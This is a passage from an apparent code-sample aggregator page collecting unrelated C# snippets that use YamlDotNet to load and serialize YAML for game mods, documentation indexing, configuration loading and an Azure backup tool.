                            hold.Add(item.ToLower());
                        }

                        List <string> splitName        = miniBundle.Name.Split(' ').ToList();
                        List <string> escapeConditions = splitName.Where(item => EventHandlers.EscapeTracking.ContainsKey(item)).ToList();
                        escapeConditions.ForEach(item => splitName.Remove(item));

                        EventHandlers.Conditions.Add(new Condition
                        {
                            EscapeConditions = escapeConditions,
                            LeadingTeam      = leadingTeam,
                            Name             = string.Join(" ", splitName).Trim(),
                            RoleConditions   = hold,
                        });
                    }
                }
            }
            catch (Exception e)
            {
                Log.Error($"Error loading win conditions for EndConditions: {e}");
                OnDisabled();
            }
        }
示例#12
0
        private T DeserializeYaml <T>(string templateYaml)
        {
            var deserializer = new DeserializerBuilder().WithNamingConvention(new HyphenatedNamingConvention()).IgnoreUnmatchedProperties().Build();

            return(deserializer.Deserialize <T>(templateYaml));
        }
示例#13
0
        private static void OutcomeBaseOnAfterDeserialize(OutcomeBase __instance)
        {
            ISerializer serializer = new SerializerBuilder()
                                     .WithTagMapping("!OutcomeBase", typeof(OutcomeBase))
                                     .WithTagMapping("!OutcomeActionAnimation", typeof(OutcomeActionAnimation))
                                     .WithTagMapping("!OutcomeActionBase", typeof(OutcomeActionBase))
                                     .WithTagMapping("!OutcomeActionChangeHero", typeof(OutcomeActionChangeHero))
                                     .WithTagMapping("!OutcomeActionChangeScene", typeof(OutcomeActionChangeScene))
                                     .WithTagMapping("!OutcomeActionChittr", typeof(OutcomeActionChittr))
                                     .WithTagMapping("!OutcomeActionConversation", typeof(OutcomeActionConversation))
                                     .WithTagMapping("!OutcomeActionCounters", typeof(OutcomeActionCounters))
                                     .WithTagMapping("!OutcomeActionCutscene", typeof(OutcomeActionCutscene))
                                     .WithTagMapping("!OutcomeActionFade", typeof(OutcomeActionFade))
                                     .WithTagMapping("!OutcomeActionInventory", typeof(OutcomeActionInventory))
                                     .WithTagMapping("!OutcomeActionMessage", typeof(OutcomeActionMessage))
                                     .WithTagMapping("!OutcomeActionMovement", typeof(OutcomeActionMovement))
                                     .WithTagMapping("!OutcomeActionNPCGoal", typeof(OutcomeActionNPCGoal))
                                     .WithTagMapping("!OutcomeActionPolynav", typeof(OutcomeActionPolynav))
                                     .WithTagMapping("!OutcomeActionSound", typeof(OutcomeActionSound))
                                     .WithTagMapping("!OutcomeActionTrial", typeof(OutcomeActionTrial))
                                     .WithTagMapping("!OutcomeActionUI", typeof(OutcomeActionUI))
                                     .WithTagMapping("!OutcomeActionUtility", typeof(OutcomeActionUtility))
                                     .WithTagMapping("!OutcomeActionVFX", typeof(OutcomeActionVFX))
                                     .WithTagMapping("!OutcomeActionZoom", typeof(OutcomeActionZoom))
                                     .WithTagMapping("!CustomOutcome", typeof(CustomOutcome))
                                     .WithTagMapping("!OutcomeSwitchCameraTarget", typeof(OutcomeSwitchCameraTarget))
                                     .WithAttributeOverride(typeof(Node), "nodeKnobs", new YamlIgnoreAttribute())
                                     .WithAttributeOverride(typeof(Node), "Inputs", new YamlIgnoreAttribute())
                                     .WithAttributeOverride(typeof(Node), "Outputs", new YamlIgnoreAttribute())
                                     .WithAttributeOverride(typeof(Node), "rect", new YamlIgnoreAttribute())
                                     .WithAttributeOverride(typeof(Node), "_nodeBoxStyle", new YamlIgnoreAttribute())
                                     .WithAttributeOverride(typeof(UnityEngine.Object), "hideFlags", new YamlIgnoreAttribute())
                                     .WithAttributeOverride(typeof(UnityEngine.Object), "name", new YamlIgnoreAttribute())
                                     .WithTypeInspector(x => new ConditionTypeInspector(x))
                                     .WithTypeConverter(new CounterDataTypeConverter())
                                     .EnsureRoundtrip()
                                     .Build();

            string yaml;

            using (StringWriter writer = new StringWriter()) {
                serializer.Serialize(writer, __instance, typeof(OutcomeBase));
                yaml = writer.ToString();
            }

            Encoding enc = Encoding.UTF8;

            byte[] yamlBytes = enc.GetBytes(yaml);
            byte[] hash;

            using (SHA256 hasher = new SHA256Managed()) {
                hash = hasher.ComputeHash(yamlBytes);
            }

            string hashStr = ByteArrayToString(hash);

            string dumpPath     = Path.Combine("dumpedOutcomes", $"{hashStr}.yml");
            string overridePath = Path.Combine("overrideOutcomes", $"{hashStr}.yml");

            if (File.Exists(overridePath))
            {
                string        overrideYaml = File.ReadAllText(overridePath);
                IDeserializer deserializer = new DeserializerBuilder()
                                             .WithTagMapping("!OutcomeBase", typeof(OutcomeBase))
                                             .WithTagMapping("!OutcomeActionAnimation", typeof(OutcomeActionAnimation))
                                             .WithTagMapping("!OutcomeActionBase", typeof(OutcomeActionBase))
                                             .WithTagMapping("!OutcomeActionChangeHero", typeof(OutcomeActionChangeHero))
                                             .WithTagMapping("!OutcomeActionChangeScene", typeof(OutcomeActionChangeScene))
                                             .WithTagMapping("!OutcomeActionChittr", typeof(OutcomeActionChittr))
                                             .WithTagMapping("!OutcomeActionConversation", typeof(OutcomeActionConversation))
                                             .WithTagMapping("!OutcomeActionCounters", typeof(OutcomeActionCounters))
                                             .WithTagMapping("!OutcomeActionCutscene", typeof(OutcomeActionCutscene))
                                             .WithTagMapping("!OutcomeActionFade", typeof(OutcomeActionFade))
                                             .WithTagMapping("!OutcomeActionInventory", typeof(OutcomeActionInventory))
                                             .WithTagMapping("!OutcomeActionMessage", typeof(OutcomeActionMessage))
                                             .WithTagMapping("!OutcomeActionMovement", typeof(OutcomeActionMovement))
                                             .WithTagMapping("!OutcomeActionNPCGoal", typeof(OutcomeActionNPCGoal))
                                             .WithTagMapping("!OutcomeActionPolynav", typeof(OutcomeActionPolynav))
                                             .WithTagMapping("!OutcomeActionSound", typeof(OutcomeActionSound))
                                             .WithTagMapping("!OutcomeActionTrial", typeof(OutcomeActionTrial))
                                             .WithTagMapping("!OutcomeActionUI", typeof(OutcomeActionUI))
                                             .WithTagMapping("!OutcomeActionUtility", typeof(OutcomeActionUtility))
                                             .WithTagMapping("!OutcomeActionVFX", typeof(OutcomeActionVFX))
                                             .WithTagMapping("!OutcomeActionZoom", typeof(OutcomeActionZoom))
                                             .WithTagMapping("!CustomOutcome", typeof(CustomOutcome))
                                             .WithTagMapping("!OutcomeSwitchCameraTarget", typeof(OutcomeSwitchCameraTarget))
                                             .WithAttributeOverride(typeof(Node), "nodeKnobs", new YamlIgnoreAttribute())
                                             .WithAttributeOverride(typeof(Node), "Inputs", new YamlIgnoreAttribute())
                                             .WithAttributeOverride(typeof(Node), "Outputs", new YamlIgnoreAttribute())
                                             .WithAttributeOverride(typeof(Node), "rect", new YamlIgnoreAttribute())
                                             .WithAttributeOverride(typeof(Node), "_nodeBoxStyle", new YamlIgnoreAttribute())
                                             .WithAttributeOverride(typeof(UnityEngine.Object), "hideFlags", new YamlIgnoreAttribute())
                                             .WithAttributeOverride(typeof(UnityEngine.Object), "name", new YamlIgnoreAttribute())
                                             .WithTypeInspector(x => new ConditionTypeInspector(x))
                                             .WithTypeConverter(new CounterDataTypeConverter())
                                             .WithObjectFactory(new ScriptableObjectFactory(new DefaultObjectFactory()))
                                             .Build();
                OutcomeBase newOutcome = deserializer.Deserialize <OutcomeBase>(overrideYaml);
                __instance.StartDelay  = newOutcome.StartDelay;
                __instance.ActionsList = newOutcome.ActionsList;
                Logger.LogInfo($"override {hashStr} <- {dumpPath}");
            }
            else
            {
                File.WriteAllText(dumpPath, yaml);
                Logger.LogInfo($"deserialize {hashStr} -> {dumpPath}");
            }
        }
示例#14
0
        /// <summary>
        /// Add all YAML fields to the index
        /// </summary>
        /// <param name="simpleDataSet"></param>
        /// <param name="lines"></param>
        /// <returns>The linenumber of the second YAML marker</returns>
        private static int AddYamlFields(SimpleDataSet simpleDataSet, List <string> lines)
        {
            // Check if the first line is a YAML marker
            // YAML is only accepted if it's on the top of the document
            // because empty lines are already removed, the index needs to be 0
            bool hasYaml          = lines.ElementAt(0).TrimEnd() == "---";
            int  secondYamlMarker = 0;

            if (hasYaml)
            {
                // Find the "next" triple dash starting from the second line
                // But first trim all trailing spaces as this only creates issues which are hard to debug
                // and unclear for users. Make sure you have a ToList because IEnumerable has no IndexOf()
                secondYamlMarker = lines
                                   .Select(l => l.TrimEnd())
                                   .ToList()
                                   .IndexOf("---", 1);

                // add all yaml together and parse YAML meta data
                YamlMetaData yamlMetaData = new YamlMetaData();
                if (secondYamlMarker > 0)
                {
                    // we found a second marker, so we have YAML data available
                    var yamlInput = new StringBuilder();
                    for (int i = 1; i < secondYamlMarker; i++)
                    {
                        yamlInput.AppendLine(lines.ElementAt(i));
                    }
                    ;

                    // Try to convert the YAML text to a strongly typed model using YamlDotNet
                    var deserializer = new DeserializerBuilder()
                                       .WithNamingConvention(new YamlDotNet.Serialization.NamingConventions.CamelCaseNamingConvention())
                                       .IgnoreUnmatchedProperties()
                                       .Build();
                    try
                    {
                        yamlMetaData = deserializer.Deserialize <YamlMetaData>(yamlInput.ToString());
                    }
                    catch (SemanticErrorException ex)
                    {
                        LogHelper.Error(typeof(ExamineHelper), "Could not parse the YAML meta data {0}" + yamlInput, ex);
                        yamlMetaData.Tags = "yamlissue";
                    }
                }

                // Add Yaml stuff to the LUCENE index
                simpleDataSet.RowData.Add("tags", yamlMetaData.Tags);
                simpleDataSet.RowData.Add("keywords", yamlMetaData.Keywords);
                simpleDataSet.RowData.Add("versionFrom", yamlMetaData.VersionFrom);
                simpleDataSet.RowData.Add("versionTo", yamlMetaData.VersionTo);
                simpleDataSet.RowData.Add("assetID", yamlMetaData.AssetId);
                simpleDataSet.RowData.Add("product", yamlMetaData.Product);
                simpleDataSet.RowData.Add("topics", yamlMetaData.Topics);
                simpleDataSet.RowData.Add("audience", yamlMetaData.Topics);
                simpleDataSet.RowData.Add("complexity", yamlMetaData.Complexity);
                simpleDataSet.RowData.Add("meta.Title", yamlMetaData.MetaTitle);
                simpleDataSet.RowData.Add("meta.Description", yamlMetaData.MetaDescription);
                simpleDataSet.RowData.Add("versionRemoved", yamlMetaData.VersionRemoved);
                simpleDataSet.RowData.Add("needsV8Update", yamlMetaData.NeedsV8Update);

                var matchingMajorVersions = CalculateMajorVersions(yamlMetaData);
                simpleDataSet.RowData.Add("majorVersion", string.Join(" ", matchingMajorVersions));
            }
            else
            {
                // no YAML information, add the current version as majorVersion
                simpleDataSet.RowData.Add("majorVersion", GetCurrentDocVersion().ToString());
            }
            return(secondYamlMarker);
        }
示例#15
0
        /// <summary>
        /// Deserializes the files.
        /// </summary>
        public LoadedDatabase Deserialize()
        {
            var deserializer = new DeserializerBuilder().Build();

            using var dbs = new StreamReader(Path.Combine(_inputDirectory, "info.yml"));
            var loadedDatabase = deserializer.Deserialize <LoadedDatabase>(dbs);
            var isX86          = _database.Options.Type == DatabaseType.X86Database;

            foreach (var loadedDatabaseClass in loadedDatabase.Classes)
            {
                var vltClass = new VltClass(loadedDatabaseClass.Name);

                foreach (var loadedDatabaseClassField in loadedDatabaseClass.Fields)
                {
                    var field = new VltClassField(
                        isX86
                            ? VLT32Hasher.Hash(loadedDatabaseClassField.Name)
                            : VLT64Hasher.Hash(loadedDatabaseClassField.Name),
                        loadedDatabaseClassField.Name,
                        loadedDatabaseClassField.TypeName,
                        loadedDatabaseClassField.Flags,
                        loadedDatabaseClassField.Alignment,
                        loadedDatabaseClassField.Size,
                        loadedDatabaseClassField.MaxCount,
                        loadedDatabaseClassField.Offset);
                    // Handle static value
                    if (loadedDatabaseClassField.StaticValue != null)
                    {
                        field.StaticValue = ConvertSerializedValueToDataValue(_database.Options.GameId, _inputDirectory,
                                                                              vltClass, field, null,
                                                                              loadedDatabaseClassField.StaticValue);
                    }

                    vltClass.Fields.Add(field.Key, field);
                }

                _database.AddClass(vltClass);
            }

            foreach (var loadedDatabaseType in loadedDatabase.Types)
            {
                _database.Types.Add(new DatabaseTypeInfo
                {
                    Name = loadedDatabaseType.Name, Size = loadedDatabaseType.Size
                });
            }

            var collectionParentDictionary = new Dictionary <string, string>();
            var collectionDictionary       = new Dictionary <string, VltCollection>();
            var vaultsToSaveDictionary     = new Dictionary <string, List <Vault> >();
            var collectionsToBeAdded       = new List <VltCollection>();

            foreach (var file in loadedDatabase.Files)
            {
                file.LoadedVaults = new List <Vault>();

                var baseDirectory = Path.Combine(_inputDirectory, file.Group, file.Name);
                vaultsToSaveDictionary[file.Name] = new List <Vault>();
                foreach (var vault in file.Vaults)
                {
                    var vaultDirectory = Path.Combine(baseDirectory, vault).Trim();
                    var newVault       = new Vault(vault)
                    {
                        Database = _database, IsPrimaryVault = vault == "db"
                    };
                    if (Directory.Exists(vaultDirectory))
                    {
                        HashSet <string> trackedCollections = new HashSet <string>();

                        foreach (var dataFile in Directory.GetFiles(vaultDirectory, "*.yml"))
                        {
                            var className = Path.GetFileNameWithoutExtension(dataFile);
                            var vltClass  = _database.FindClass(className);

                            if (vltClass == null)
                            {
                                throw new InvalidDataException($"Unknown class: {className} ({dataFile})");
                            }

                            //#if DEBUG
                            //                        Debug.WriteLine("Processing class '{0}' in vault '{1}' (file: {2})", className, vault, dataFile);
                            //#else
                            //                        Console.WriteLine("Processing class '{0}' in vault '{1}' (file: {2})", className, vault, dataFile);
                            //#endif

                            using var vr = new StreamReader(dataFile);
                            var collections = deserializer.Deserialize <List <LoadedCollection> >(vr);

                            foreach (var loadedCollection in collections)
                            {
                                // BUG 16.02.2020: we have to do this to get around a YamlDotNet bug
                                if (loadedCollection.Name == null)
                                {
                                    loadedCollection.Name = "null";
                                }

                                foreach (var k in loadedCollection.Data.Keys.ToList()
                                         .Where(k => loadedCollection.Data[k] == null))
                                {
                                    loadedCollection.Data[k] = "null";
                                }
                            }

                            var newCollections = new List <VltCollection>();

                            void AddCollectionsToList(ICollection <VltCollection> collectionList,
                                                      IEnumerable <LoadedCollection> collectionsToAdd)
                            {
                                if (collectionList == null)
                                {
                                    throw new Exception("collectionList should not be null!");
                                }
                                collectionsToAdd ??= new List <LoadedCollection>();

                                foreach (var loadedCollection in collectionsToAdd)
                                {
                                    var newVltCollection = new VltCollection(newVault, vltClass, loadedCollection.Name);

                                    foreach (var(key, value) in loadedCollection.Data)
                                    {
                                        if (!vltClass.TryGetField(key, out var field))
                                        {
                                            throw new SerializedDatabaseLoaderException(
                                                      $"Cannot find field: {vltClass.Name}/{key}");
                                        }

                                        newVltCollection.SetRawValue(key,
                                                                     ConvertSerializedValueToDataValue(_database.Options.GameId, vaultDirectory,
                                                                                                       vltClass, field,
                                                                                                       newVltCollection, value));
                                    }

                                    collectionParentDictionary[newVltCollection.ShortPath] =
                                        loadedCollection.ParentName;
                                    collectionList.Add(newVltCollection);
                                    collectionDictionary[newVltCollection.ShortPath] = newVltCollection;
                                }
                            }

                            AddCollectionsToList(newCollections, collections);


                            foreach (var newCollection in newCollections)
                            {
                                if (!trackedCollections.Add(newCollection.ShortPath))
                                {
                                    throw new SerializedDatabaseLoaderException(
                                              $"Duplicate collection found! Multiple collections at '{newCollection.ShortPath}' have been defined in your YML files.");
                                }

                                collectionsToBeAdded.Add(newCollection);
                            }
                        }
                    }
                    else
                    {
                        Console.WriteLine("WARN: vault {0} has no folder; looked for {1}", vault, vaultDirectory);
                    }

                    vaultsToSaveDictionary[file.Name].Add(newVault);
                    _database.Vaults.Add(newVault);

                    file.LoadedVaults.Add(newVault);
                }
            }

            // dependency resolution
            var resolved   = new List <VaultDependencyNode>();
            var unresolved = new List <VaultDependencyNode>();

            foreach (var vault in _database.Vaults)
            {
                var vaultCollections     = collectionsToBeAdded.Where(c => c.Vault.Name == vault.Name).ToList();
                VaultDependencyNode node = new VaultDependencyNode(vault);

                foreach (var vaultCollection in vaultCollections)
                {
                    string parentKey = collectionParentDictionary[vaultCollection.ShortPath];

                    if (!string.IsNullOrEmpty(parentKey))
                    {
                        var parentCollection = collectionDictionary[$"{vaultCollection.Class.Name}/{parentKey}"];
                        if (parentCollection.Vault.Name != vault.Name)
                        {
                            node.AddEdge(new VaultDependencyNode(parentCollection.Vault));
                        }
                    }
                }

                ResolveDependencies(node, resolved, unresolved);

                Debug.WriteLine("Vault {0}: {1} collections", vault.Name, vaultCollections.Count);
            }

            resolved   = resolved.Distinct(VaultDependencyNode.VaultComparer).ToList();
            unresolved = unresolved.Distinct(VaultDependencyNode.VaultComparer).ToList();

            if (unresolved.Count != 0)
            {
                throw new SerializedDatabaseLoaderException("Cannot continue loading - unresolved vault dependencies");
            }

            foreach (var node in resolved)
            {
                var vault            = node.Vault;
                var vaultCollections = collectionsToBeAdded.Where(c => c.Vault.Name == vault.Name).ToList();

                Debug.WriteLine("Loading collections for vault {0} ({1})", vault.Name, vaultCollections.Count);

                foreach (var collection in vaultCollections)
                {
                    string parentKey = collectionParentDictionary[collection.ShortPath];

                    if (string.IsNullOrEmpty(parentKey))
                    {
                        // Add collection directly
                        _database.RowManager.AddCollection(collection);
                    }
                    else
                    {
                        var parentCollection = collectionDictionary[$"{collection.Class.Name}/{parentKey}"];
                        parentCollection.AddChild(collection);
                    }
                }
            }

            _loadedDatabase = loadedDatabase;

            return(loadedDatabase);
        }
示例#16
0
        public async Task <ISettings> CreateSettings()
        {
            //JSON_FILE_URL is deprecated but has to be used for backward compatibility
            var configurationFileUrl = Environment.GetEnvironmentVariable("CONFIGURATION_FILE_URL");

            if (string.IsNullOrWhiteSpace(configurationFileUrl))
            {
                configurationFileUrl = Environment.GetEnvironmentVariable("JSON_FILE_URL");
                if (string.IsNullOrWhiteSpace(configurationFileUrl))
                {
                    logger.Warn("`JSON_FILE_URL` variable usage is deprecated! Use `CONFIGURATION_FILE_URL` instead");
                }
            }

            logger.Info("Configuraiton file url: {url}", configurationFileUrl);

            string configuration;

            if (File.Exists(configurationFileUrl))
            {
                configuration = File.ReadAllText(configurationFileUrl, Encoding.UTF8);
                logger.Info("Configuration file found and loaded!");
            }
            else
            {
                using var httpClient = new HttpClient();
                configuration        = await httpClient.GetStringAsync(configurationFileUrl);

                logger.Info("Configuration file downloaded!");
            }

            logger.Debug("Configuraiton file content: {configuration}", configuration);

            var configurationFileExtension = configurationFileUrl.Split('.').Last();

            switch (configurationFileExtension)
            {
            case "yaml":
                logger.Debug("Configuraiton file type is YAML, converting to JSON");
                var deserializer = new DeserializerBuilder()
                                   .Build();

                var yamlReader = new StringReader(configuration);
                var yamlObject = deserializer.Deserialize(yamlReader);

                var serializer = new SerializerBuilder()
                                 .JsonCompatible()
                                 .Build();

                configuration = serializer.Serialize(yamlObject);

                logger.Debug("Configuration file converted: {config}", configuration);
                break;

            case "json":
                break;

            default:
                throw new InvalidOperationException("Unsupported configuraiton file extension! Only .json and .yaml supported.");
            }

            var configurationObject = JObject.Parse(configuration);

            var schema = GetConfigurationFileSchema();

            configurationObject.Validate(schema);

            var settings = configurationObject.ToObject <Settings>(JsonSerializer.Create(serializerSettings));

            ConfigValidationRule.Config = settings.Config;

            logger.Info("Settings object deserialized!");

            return(settings);
        }
示例#17
0
        public static async Task <Configuration> LoadConfigurationAsync(string configurationFilenameOrUrl)
        {
            JObject localconfiguration = null;

            if (!string.IsNullOrWhiteSpace(configurationFilenameOrUrl))
            {
                string configurationContent;

                // Load the job definition from a url or locally
                try
                {
                    if (configurationFilenameOrUrl.StartsWith("http", StringComparison.OrdinalIgnoreCase))
                    {
                        configurationContent = await _httpClient.GetStringAsync(configurationFilenameOrUrl);
                    }
                    else
                    {
                        configurationContent = File.ReadAllText(configurationFilenameOrUrl);
                    }
                }
                catch
                {
                    throw new RegressionBotException($"Configuration '{configurationFilenameOrUrl}' could not be loaded.");
                }

                // Detect file extension
                string configurationExtension = null;

                if (configurationFilenameOrUrl.StartsWith("http", StringComparison.OrdinalIgnoreCase))
                {
                    // Remove any query string to detect the correct extension
                    var questionMarkIndex = configurationFilenameOrUrl.IndexOf("?");
                    if (questionMarkIndex != -1)
                    {
                        var filename = configurationFilenameOrUrl.Substring(0, questionMarkIndex);
                        configurationExtension = Path.GetExtension(filename);
                    }
                    else
                    {
                        configurationExtension = Path.GetExtension(configurationFilenameOrUrl);
                    }
                }
                else
                {
                    configurationExtension = Path.GetExtension(configurationFilenameOrUrl);
                }

                switch (configurationExtension)
                {
                case ".json":
                    localconfiguration = JObject.Parse(configurationContent);
                    break;

                case ".yml":
                case ".yaml":

                    var deserializer = new DeserializerBuilder()
                                       .WithNodeTypeResolver(new JsonTypeResolver())
                                       .Build();

                    object yamlObject;

                    try
                    {
                        yamlObject = deserializer.Deserialize(new StringReader(configurationContent));
                    }
                    catch (YamlDotNet.Core.SyntaxErrorException e)
                    {
                        throw new RegressionBotException($"Error while parsing '{configurationFilenameOrUrl}'\n{e.Message}");
                    }

                    var serializer = new SerializerBuilder()
                                     .JsonCompatible()
                                     .Build();

                    var json = serializer.Serialize(yamlObject);

                    // Format json in case the schema validation fails and we need to render error line numbers
                    localconfiguration = JObject.Parse(json);

                    var schemaJson = File.ReadAllText(Path.Combine(Path.GetDirectoryName(typeof(Program).Assembly.Location), "regressionbot.schema.json"));
                    var schema     = new Manatee.Json.Serialization.JsonSerializer().Deserialize <JsonSchema>(JsonValue.Parse(schemaJson));

                    var jsonToValidate    = JsonValue.Parse(json);
                    var validationResults = schema.Validate(jsonToValidate, new JsonSchemaOptions {
                        OutputFormat = SchemaValidationOutputFormat.Detailed
                    });

                    if (!validationResults.IsValid)
                    {
                        // Create a json debug file with the schema
                        localconfiguration.AddFirst(new JProperty("$schema", "https://raw.githubusercontent.com/dotnet/crank/master/src/Microsoft.Crank.RegressionBot/regressionbot.schema.json"));

                        var debugFilename = Path.Combine(Path.GetTempPath(), "configuration.debug.json");
                        File.WriteAllText(debugFilename, localconfiguration.ToString(Formatting.Indented));

                        var errorBuilder = new StringBuilder();

                        errorBuilder.AppendLine($"Invalid configuration file '{configurationFilenameOrUrl}' at '{validationResults.InstanceLocation}'");
                        errorBuilder.AppendLine($"{validationResults.ErrorMessage}");
                        errorBuilder.AppendLine($"Debug file created at '{debugFilename}'");

                        throw new RegressionBotException(errorBuilder.ToString());
                    }

                    break;

                default:
                    throw new RegressionBotException($"Unsupported configuration format: {configurationExtension}");
                }

                return(localconfiguration.ToObject <Configuration>());
            }
            else
            {
                throw new RegressionBotException($"Invalid file path or url: '{configurationFilenameOrUrl}'");
            }
        }
示例#18
0
        /// <summary>
        ///
        /// </summary>
        private static void LoadFromFile()
        {
            var deserializer = new DeserializerBuilder()
                               .WithNamingConvention(CamelCaseNamingConvention.Instance)
                               .Build();

            string sa    = "";
            string fsa   = "";
            string isa   = "";
            string clrsa = "";
            string csa   = "";

            if (File.Exists(@"Melee\command_controls.yml"))
            {
                sa = File.ReadAllText(@"Melee\command_controls.yml");
            }

            if (File.Exists(@"Melee\command_fighter.yml"))
            {
                fsa = File.ReadAllText(@"Melee\command_fighter.yml");
            }

            if (File.Exists(@"Melee\command_item.yml"))
            {
                isa = File.ReadAllText(@"Melee\command_item.yml");
            }

            if (File.Exists(@"Melee\command_color.yml"))
            {
                clrsa = File.ReadAllText(@"Melee\command_color.yml");
            }

            if (File.Exists(@"Melee\command_custom.yml"))
            {
                csa = File.ReadAllText(@"Melee\command_custom.yml");
            }

            var subs       = deserializer.Deserialize <Subaction[]>(sa);
            var fsubs      = deserializer.Deserialize <Subaction[]>(fsa);
            var isubs      = deserializer.Deserialize <Subaction[]>(isa);
            var csubs      = deserializer.Deserialize <Subaction[]>(clrsa);
            var customsubs = deserializer.Deserialize <Subaction[]>(csa);

            if (subs != null && subs.Length != 0)
            {
                foreach (var s in subs)
                {
                    s.Code <<= 2;
                }

                _fighterSubactions = new List <Subaction>();
                if (fsubs != null && fsubs.Length != 0)
                {
                    foreach (var s in fsubs)
                    {
                        s.Code <<= 2;
                    }
                    _fighterSubactions.AddRange(subs);
                    _fighterSubactions.AddRange(fsubs);
                }

                _itemSubactions = new List <Subaction>();
                if (subs != null && subs.Length != 0)
                {
                    foreach (var s in isubs)
                    {
                        s.Code <<= 2;
                    }
                    _itemSubactions.AddRange(subs);
                    _itemSubactions.AddRange(isubs);
                }

                _colorSubactions = new List <Subaction>();
                if (csubs != null && csubs.Length != 0)
                {
                    foreach (var s in csubs)
                    {
                        s.Code <<= 2;
                    }
                    _colorSubactions.AddRange(subs);
                    _colorSubactions.AddRange(csubs);
                }
            }

            _customSubactions = new List <Subaction>();
            if (customsubs != null && customsubs.Length != 0)
            {
                foreach (var s in customsubs)
                {
                    s.IsCustom = true;
                }
                _customSubactions.AddRange(customsubs);
                _fighterSubactions.AddRange(customsubs);
            }
        }
示例#19
0
        private SnippetDescriptor CreateSnippetDescriptor(ShapeDescriptor shapeDescriptor, Snippet snippetElement)
        {
            // Initializing and checking access to the Snippet manifest file.
            var physicalSourcePath = _wca.GetContext().HttpContext.Server.MapPath(shapeDescriptor.BindingSource);
            var fullPath           = Path.Combine(
                Path.GetDirectoryName(physicalSourcePath) ?? "",
                Path.GetFileNameWithoutExtension(physicalSourcePath) + ".txt");

            SnippetDescriptor descriptor;

            // Reading and parsing the manifest if it exists.
            if (File.Exists(fullPath))
            {
                var deserializer = new DeserializerBuilder()
                                   .IgnoreUnmatchedProperties()
                                   .WithTypeConverter(new LocalizedStringYamlConverter())
                                   .Build();

                descriptor = deserializer.Deserialize <SnippetDescriptor>(File.OpenText(fullPath));
            }
            // Otherwise extract the Fields from the Snippet shape template.
            else
            {
                var shape = (dynamic)_shapeFactory.Value.Create(shapeDescriptor.ShapeType);
                shape.Element = snippetElement;

                descriptor = new SnippetDescriptor();

                shape.DescriptorRegistrationCallback = (Action <SnippetFieldDescriptor>)(fieldDescriptor => {
                    // Not using Dictionary, as that will break rendering the view for some obscure reason.
                    var existingFieldDescriptor = descriptor.Fields.SingleOrDefault(field => field.Name == fieldDescriptor.Name);

                    if (existingFieldDescriptor == null)
                    {
                        descriptor.Fields.Add(fieldDescriptor);
                    }

                    if (fieldDescriptor.DisplayName == null)
                    {
                        fieldDescriptor.DisplayName = new LocalizedString(fieldDescriptor.Name);
                    }
                });

                using (_currentThemeShapeBindingResolver.Value.Enable()) {
                    _shapeDisplay.Value.Display(shape);
                }

                shape.SnippetDescriptor = descriptor;
            }

            // Checking the validity of the parsed values, include those of the Snippet's Fields.
            if (string.IsNullOrEmpty(descriptor.Category))
            {
                descriptor.Category = snippetElement.Category;
            }

            if (string.IsNullOrEmpty(descriptor.Description?.Text))
            {
                descriptor.Description = T("An element that renders the {0} shape.", shapeDescriptor.ShapeType);
            }

            if (string.IsNullOrEmpty(descriptor.DisplayName?.Text))
            {
                var fileName  = Path.GetFileNameWithoutExtension(shapeDescriptor.BindingSource) ?? "";
                var lastIndex = fileName.IndexOf(SnippetShapeSuffix, StringComparison.OrdinalIgnoreCase);
                descriptor.DisplayName = T(fileName.Substring(0, lastIndex).CamelFriendly());
            }

            if (string.IsNullOrEmpty(descriptor.ToolboxIcon))
            {
                descriptor.ToolboxIcon = snippetElement.ToolboxIcon;
            }

            descriptor.Fields = descriptor.Fields.Where(field => field.IsValid).ToList();

            return(descriptor);
        }
示例#20
0
        protected void RunBackup()
        {
            var deserializer = new DeserializerBuilder()
                               .WithNamingConvention(new CamelCaseNamingConvention())
                               .IgnoreUnmatchedProperties()
                               .Build();

            YAMLConfig yamlConfig = null;

            using (StreamReader reader = new StreamReader(configFile))
            {
                try
                {
                    yamlConfig = deserializer.Deserialize <YAMLConfig>(reader);
                }
                catch (Exception e)
                {
                    Console.WriteLine(e);
                    doneFlag.Set();
                    return;
                }
            }

            AzureBackup azureBackup = new AzureBackup()
            {
                YAMLConfig = yamlConfig
            };

            List <Job> jobs = yamlConfig.Jobs.OrderBy(a => a.Priority).ToList();


            while (!stopFlag.WaitOne(0))
            {
                if (!yamlConfig.Performance.IsActive)
                {
                    // hang around until there's something to do
                    bool set = stopFlag.WaitOne(60000);
                    if (set)
                    {
                        break;
                    }
                }
                else
                {
                    // time to do stuff
                    foreach (Job job in jobs)
                    {
                        azureBackup.ExecuteJob(job);

                        bool set = stopFlag.WaitOne(0);

                        if (set || !yamlConfig.Performance.IsActive)
                        {
                            break;
                        }
                    }
                }
            }

            doneFlag.Set();
        }
示例#21
0
        public void ExecuteJob(Job job)
        {
            var config = new NLog.Config.LoggingConfiguration();

            string logDir = Path.Combine(
                Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData, Environment.SpecialFolderOption.Create),
                "azbackup_logs");

            string logFileName = Path.Combine(logDir, "azbackup_" + DateTime.Now.ToString("yyyyMMddHHmmss") + ".log");

            var logFile = new NLog.Targets.FileTarget("logfile")
            {
                FileName = logFileName
            };

            config.AddRule(NLog.LogLevel.Debug, NLog.LogLevel.Fatal, logFile);
            logFile.Layout = new NLog.Layouts.CsvLayout()
            {
                Layout = "${longdate},${level:uppercase=true},${message},${exception:format=tostring}"
            };

            var logConsole = new NLog.Targets.ColoredConsoleTarget("logconsole");

            logConsole.Layout = new NLog.Layouts.SimpleLayout()
            {
                Text = "${longdate}|${level:uppercase=true}|${message}"
            };
            config.AddRule(NLog.LogLevel.Debug, NLog.LogLevel.Fatal, logConsole);

            NLog.LogManager.Configuration = config;

            logger = NLog.LogManager.GetCurrentClassLogger();

            logger.Info("Starting job {0}...", job.Name);

            string authKey;

            if (job.AuthKey != null)
            {
                authKey = job.AuthKey;
            }
            else if (job.AuthKeyFile != null)
            {
                var deserializer = new DeserializerBuilder()
                                   .WithNamingConvention(new CamelCaseNamingConvention())
                                   .IgnoreUnmatchedProperties()
                                   .Build();

                StreamReader reader      = new StreamReader(job.AuthKeyFile);
                AuthKeyFile  authKeyFile = deserializer.Deserialize <AuthKeyFile>(reader);

                authKey = authKeyFile.AuthKey;
            }
            else
            {
                logger.Error("No authentication key found.");
                throw new InvalidOperationException("No authenticiation key found.");
            }


            account = CloudStorageAccount.Parse(GetConnectionString(job.StorageAccount, authKey));
            client  = account.CreateCloudBlobClient();

            archiveContainer = client.GetContainerReference(job.Archive.Container);
